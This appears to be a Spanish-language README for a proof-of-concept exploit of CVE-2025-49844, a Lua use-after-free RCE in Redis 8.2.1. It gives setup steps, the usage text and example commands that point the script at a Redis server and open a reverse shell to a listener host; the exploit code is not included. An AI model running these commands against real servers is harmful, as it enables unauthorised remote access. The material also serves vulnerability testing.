CVE-2025-49844

POC uv original: https://github.com/saneki/cve-2025-49844

PoC que proporciona reverse shell.

Antes de empezar

pip3 install -r requirements.txt

Ayuda

python3 CVE-2025-49844.py -h

usage: CVE-2025-49844.py [-h] [-H HOST] [-P PORT] [-a PASSWORD] [-l HOST] [-p PORT]

CVE-2025-49844 proof-of-concept — Redis 8.2.1 Lua UAF RCE (reverse shell)

options:
  -h, --help            show this help message and exit
  -H HOST, --redis-host HOST
                        Redis server host (default: 127.0.0.1)
  -P PORT, --redis-port PORT
                        Redis server port (default: 6379)
  -a PASSWORD, --auth PASSWORD
                        Redis password (if required)
  -l HOST, --host HOST  listener host (default: 127.0.0.1)
  -p PORT, --port PORT  listener port (default: 4444)

Examples:
  CVE-2025-49844.py -H 10.0.0.1 -l 192.168.1.10 -p 4444
  CVE-2025-49844.py -H 10.0.0.1 -P 6380 -a secretpass -l 192.168.1.10 -p 4444